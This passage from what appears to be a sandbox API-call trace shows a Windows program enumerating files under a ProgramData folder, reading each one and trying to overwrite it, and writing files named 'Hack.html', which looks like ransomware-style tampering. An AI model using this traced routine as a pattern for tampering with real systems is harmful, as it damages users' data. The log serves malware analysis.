Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\ringtones.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0070.001] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0070.001] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico", lpFilePart=0x0) returned 0x5e [0070.001] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0070.001] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0070.001] GetFileType (hFile=0x258) returned 0x1 [0070.002] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0070.002] GetFileType (hFile=0x258) returned 0x1 [0070.002] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x10850 [0070.002] ReadFile (in: hFile=0x258, lpBuffer=0x27343a0, nNumberOfBytesToRead=0x10850, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x27343a0*, lpNumberOfBytesRead=0x39ecf0*=0x10850, lpOverlapped=0x0) returned 1 [0070.013] CloseHandle (hObject=0x258) returned 1 [0070.070] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico", lpFilePart=0x0) returned 0x5e [0070.070] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0070.070] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\settings.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0070.072] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0070.072] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico", lpFilePart=0x0) returned 0x5a [0070.072] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0070.073] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0070.073] GetFileType (hFile=0x258) returned 0x1 [0070.073] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0070.073] GetFileType (hFile=0x258) returned 0x1 [0070.073] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xc04b [0070.073] ReadFile (in: hFile=0x258, lpBuffer=0x27c3c38, nNumberOfBytesToRead=0xc04b, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x27c3c38*, lpNumberOfBytesRead=0x39ecf0*=0xc04b, lpOverlapped=0x0) returned 1 [0070.083] CloseHandle (hObject=0x258) returned 1 [0070.124] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico", lpFilePart=0x0) returned 0x5a [0070.124] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0070.124] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\sync.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0070.125] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0070.125] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", lpFilePart=0x0) returned 0x5b [0070.125] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0070.125] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0070.132] GetFileType (hFile=0x258) returned 0x1 [0070.132] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0070.132] GetFileType (hFile=0x258) returned 0x1 [0070.132] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x3473 [0070.132] ReadFile (in: hFile=0x258, lpBuffer=0x2841320, nNumberOfBytesToRead=0x3473, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x2841320*, lpNumberOfBytesRead=0x39ecf0*=0x3473, lpOverlapped=0x0) returned 1 [0070.141] CloseHandle (hObject=0x258) returned 1 [0070.179] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml", lpFilePart=0x0) returned 0x5b [0070.179] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0070.179] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\tasks.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0070.180] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0070.180] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico", lpFilePart=0x0) returned 0x59 [0070.180] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0070.181] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0070.181] GetFileType (hFile=0x258) returned 0x1 [0070.181] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0070.181] GetFileType (hFile=0x258) returned 0x1 [0070.181] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0x1b9f4 [0070.181] ReadFile (in: hFile=0x258, lpBuffer=0x3890c90, nNumberOfBytesToRead=0x1b9f4, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x3890c90*, lpNumberOfBytesRead=0x39ecf0*=0x1b9f4, lpOverlapped=0x0) returned 1 [0070.200] CloseHandle (hObject=0x258) returned 1 [0070.302] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico", lpFilePart=0x0) returned 0x59 [0070.302] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec24) returned 1 [0070.302] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\wmp.ico"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0070.304] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da60) returned 1 [0070.304] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0070.304] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", lpFilePart=0x0) returned 0x57 [0070.304] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\", lpFilePart=0x0) returned 0x58 [0070.304] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1a8 [0070.305] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0070.305] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0070.305] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0070.305] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0070.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0070.305] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0070.305] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed28) returned 1 [0070.306] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", nBufferLength=0x105, lpBuffer=0x39e830, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US", lpFilePart=0x0) returned 0x57 [0070.306] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\", nBufferLength=0x105, lpBuffer=0x39e804, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\", lpFilePart=0x0) returned 0x58 [0070.306] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\*", lpFindFileData=0x39ea50 | out: lpFindFileData=0x39ea50) returned 0x59a1a8 [0070.306] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0070.306] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 1 [0070.306] FindNextFileW (in: hFindFile=0x59a1a8, lpFindFileData=0x39ea60 | out: lpFindFileData=0x39ea60) returned 0 [0070.306] FindClose (in: hFindFile=0x59a1a8 | out: hFindFile=0x59a1a8) returned 1 [0070.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ece8) returned 1 [0070.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ecf4) returned 1 [0070.307] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x39e714, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x64 [0070.307] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec08) returned 1 [0070.307] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0070.307] GetFileType (hFile=0x258) returned 0x1 [0070.307] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec04) returned 1 [0070.307] GetFileType (hFile=0x258) returned 0x1 [0070.307] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed10 | out: lpFileSizeHigh=0x39ed10*=0x0) returned 0x536 [0070.307] ReadFile (in: hFile=0x258, lpBuffer=0x26e5448, nNumberOfBytesToRead=0x1000, lpNumberOfBytesRead=0x39ecbc, lpOverlapped=0x0 | out: lpBuffer=0x26e5448*, lpNumberOfBytesRead=0x39ecbc*=0x536, lpOverlapped=0x0) returned 1 [0070.309] CloseHandle (hObject=0x258) returned 1 [0070.350] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", nBufferLength=0x105, lpBuffer=0x39e6fc, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml", lpFilePart=0x0) returned 0x64 [0070.350] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ebf0) returned 1 [0070.350] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\resource.xml" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\resource.xml"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0xffffffff [0070.351] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39da28) returned 1 [0070.351] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e724, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\Hack.html", lpFilePart=0x0) returned 0x61 [0070.352] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec18) returned 1 [0070.352] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-US\\Hack.html" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\en-us\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0070.353] GetFileType (hFile=0x258) returned 0x1 [0070.353] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec14) returned 1 [0070.353] GetFileType (hFile=0x258) returned 0x1 [0070.353] WriteFile (in: hFile=0x258, lpBuffer=0x2736cd4*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ec94, lpOverlapped=0x0 | out: lpBuffer=0x2736cd4*, lpNumberOfBytesWritten=0x39ec94*=0xba, lpOverlapped=0x0) returned 1 [0070.354] CloseHandle (hObject=0x258) returned 1 [0070.354] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\Hack.html", nBufferLength=0x105, lpBuffer=0x39e758, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\Hack.html", lpFilePart=0x0) returned 0x5b [0070.354] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec4c) returned 1 [0070.354] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\Hack.html" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{07deb856-fc6e-4fb9-8add-d8f2cf8722c9}\\hack.html"), dwDesiredAccess=0x40000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x8100000, hTemplateFile=0x0) returned 0x258 [0070.354] GetFileType (hFile=0x258) returned 0x1 [0070.354] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec48) returned 1 [0070.354] GetFileType (hFile=0x258) returned 0x1 [0070.355] WriteFile (in: hFile=0x258, lpBuffer=0x2739544*, nNumberOfBytesToWrite=0xba, lpNumberOfBytesWritten=0x39ecc8, lpOverlapped=0x0 | out: lpBuffer=0x2739544*, lpNumberOfBytesWritten=0x39ecc8*=0xba, lpOverlapped=0x0) returned 1 [0070.356] CloseHandle (hObject=0x258) returned 1 [0070.358] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0070.359] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpFilePart=0x0) returned 0x51 [0070.359] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpFilePart=0x0) returned 0x52 [0070.359] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a168 [0070.361] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0070.361] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0070.361] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0070.361] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0070.361] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0070.362] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0070.362] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0070.362] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0070.362] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0070.362] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0070.362] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0070.362] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0070.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0070.363] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0070.363] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ed5c) returned 1 [0070.363] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", nBufferLength=0x105, lpBuffer=0x39e864, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}", lpFilePart=0x0) returned 0x51 [0070.363] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", nBufferLength=0x105, lpBuffer=0x39e838, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\", lpFilePart=0x0) returned 0x52 [0070.363] FindFirstFileW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\*", lpFindFileData=0x39ea84 | out: lpFindFileData=0x39ea84) returned 0x59a168 [0070.365] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0070.365] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0070.365] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0070.365] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0070.365] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0070.365] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0070.366] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0070.366] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0070.366] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0070.366] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 1 [0070.366] FindNextFileW (in: hFindFile=0x59a168, lpFindFileData=0x39ea94 | out: lpFindFileData=0x39ea94) returned 0 [0070.366] FindClose (in: hFindFile=0x59a168 | out: hFindFile=0x59a168) returned 1 [0070.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed1c) returned 1 [0070.367] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ed28) returned 1 [0070.367] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico", nBufferLength=0x105, lpBuffer=0x39e748, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico", lpFilePart=0x0) returned 0x5c [0070.367] SetThreadErrorMode (dwNewMode=0x1, lpOldMode=0x39ec3c) returned 1 [0070.367] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico" (normalized: "c:\\programdata\\microsoft\\device stage\\task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico"), dwDesiredAccess=0x80000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x100000, hTemplateFile=0x0) returned 0x258 [0070.369] GetFileType (hFile=0x258) returned 0x1 [0070.369] SetThreadErrorMode (dwNewMode=0x0, lpOldMode=0x39ec38) returned 1 [0070.369] GetFileType (hFile=0x258) returned 0x1 [0070.369] GetFileSize (in: hFile=0x258, lpFileSizeHigh=0x39ed44 | out: lpFileSizeHigh=0x39ed44*=0x0) returned 0xd0a3 [0070.369] ReadFile (in: hFile=0x258, lpBuffer=0x273e4e0, nNumberOfBytesToRead=0xd0a3, lpNumberOfBytesRead=0x39ecf0, lpOverlapped=0x0 | out: lpBuffer=0x273e4e0*, lpNumberOfBytesRead=0x39ecf0*=0xd0a3, lpOverlapped=0x0) returned 1 [0070.391] CloseHandle (hObject=0x258) returned 1 [0070.441] GetFullPathNameW (in: lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico", nBufferLength=0x105, lpBuffer=0x39e730, lpFilePart=0x0 | out: lpBuffer="C:\\ProgramData\\Microsoft\\Device Stage\\Task\\{e35be42d-f742-4d96-a50a-1775fb1a7a42}\\folder.ico", lpFilePart=0x0) returned 